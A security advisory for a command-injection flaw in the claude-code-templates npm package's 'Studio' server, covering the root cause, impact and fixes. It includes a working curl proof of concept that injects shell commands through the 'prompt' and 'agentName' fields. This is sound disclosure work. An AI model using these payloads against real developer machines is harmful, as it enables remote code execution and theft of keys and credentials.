Advisory

GHSA-79wm-x847-7cvg

Also known as: CVE-2026-73222

Summary

Claude Code Templates: Unauthenticated OS command injection (RCE) in Claude Code Studio server (--studio)

Details

Summary
npx claude-code-templates --studio launches "Claude Code Studio", an Express HTTP server (cli-tool/src/sandbox-server.js, default port 3444) that binds to all interfaces (0.0.0.0), sets Access-Control-Allow-Origin: *, and requires no authentication. Two POST endpoints pass attacker-controlled request-body fields into child_process.spawn(..., { shell: true }). Because shell: true makes Node join the argv array into a single sh -c string, the fields are parsed by the shell and metacharacters execute. Any unauthenticated attacker who can reach the port — a malicious web page the developer visits, or anyone on the same LAN — can execute arbitrary OS commands on the developer's machine.

Details
In cli-tool/src/sandbox-server.js:

  • app.listen(PORT, ...) is called with no host argument, so the server listens on 0.0.0.0 / :: (reachable from the LAN, not just localhost).
  • The CORS middleware sends Access-Control-Allow-Origin: * and answers the preflight OPTIONS for any origin, so a browser will deliver cross-origin POSTs to it.
  • There is no authentication on any endpoint.

The vulnerable sinks:

  1. POST /api/execute — the prompt body field flows into executeLocalTask():
   const child = spawn('claude', [finalPrompt], { /* ... */ shell: true });
   The only validation on prompt is a length check (>= 10 chars). With shell: true, finalPrompt is interpreted by the shell.

2. POST /api/install-agent — the agentName body field:
const child = spawn('npx', ['claude-code-templates@latest', '--agent', agentName, '--yes'], { /* ... */ shell: true });
2. agentName is used unvalidated. (The same unsafe pattern is also reachable through /api/execute's agent field via checkAndInstallAgent().)

Root cause: spawn(cmd, argsArray, { shell: true }) does not keep argsArray as separate argv entries — Node builds cmd + ' ' + argsArray.join(' ') and runs it via sh -c, so every element is subject to shell parsing.

PoC

# Victim
npx claude-code-templates --studio          # server on 0.0.0.0:3444

# Attacker (another LAN host, or a malicious web page fetch(), or locally)
curl -s -X POST http://127.0.0.1:3444/api/execute \
  -H 'Content-Type: application/json' \
  --data '{"prompt":"aaaaaaaaaa; touch /tmp/CCT_RCE_PROOF","mode":"local"}'

curl -s -X POST http://127.0.0.1:3444/api/install-agent \
  -H 'Content-Type: application/json' \
  --data '{"agentName":"x; touch /tmp/CCT_AGENT_PROOF #"}'

ls -la /tmp/CCT_RCE_PROOF /tmp/CCT_AGENT_PROOF   # both created => injected commands ran
The aaaaaaaaaa padding satisfies the 10-char minimum, then ; (or $(...), or backticks) starts the injected command. claude/npx do not even need to be installed — the injected segment runs regardless.

Confirmed at runtime on v1.28.13 (Node 22, Linux): both marker files were created, the server listened on *:3444, and an OPTIONS preflight from Origin: https://evil.example returned 200 with Access-Control-Allow-Origin: *.

Impact

Unauthenticated remote code execution (CWE-78) on any machine running --studio. Two reachability paths:
- Drive-by: a developer running --studio who visits an attacker-controlled web page — the page's cross-origin fetch() (Content-Type application/json) passes the wildcard CORS preflight and delivers the POST, achieving RCE with no other interaction.
- LAN: because the server binds 0.0.0.0, anyone on the same network (office, co-working space, public Wi-Fi) can hit port 3444 directly.

Impact is full compromise of the developer's user account (arbitrary command execution with the developer's privileges): source code, SSH keys, cloud credentials, and .env secrets.

Suggested fix

- Remove shell: true from all three spawns so arguments stay discrete argv entries (kills the injection).
- Validate agentName against a strict allowlist (^[A-Za-z0-9._/-]+$).
- Bind to loopback only (app.listen(PORT, '127.0.0.1', ...)).
- Replace the wildcard CORS with a same-origin allowlist and reject other origins.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-09-03 19:50 UTC
Modified
2026-09-03 20:00 UTC

Affected packages and fixes

claude-code-templates

npm · All systems

Affected

  • introduced 0, fixed 1.29.4 (semver)

Fixed versions

1.29.4

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences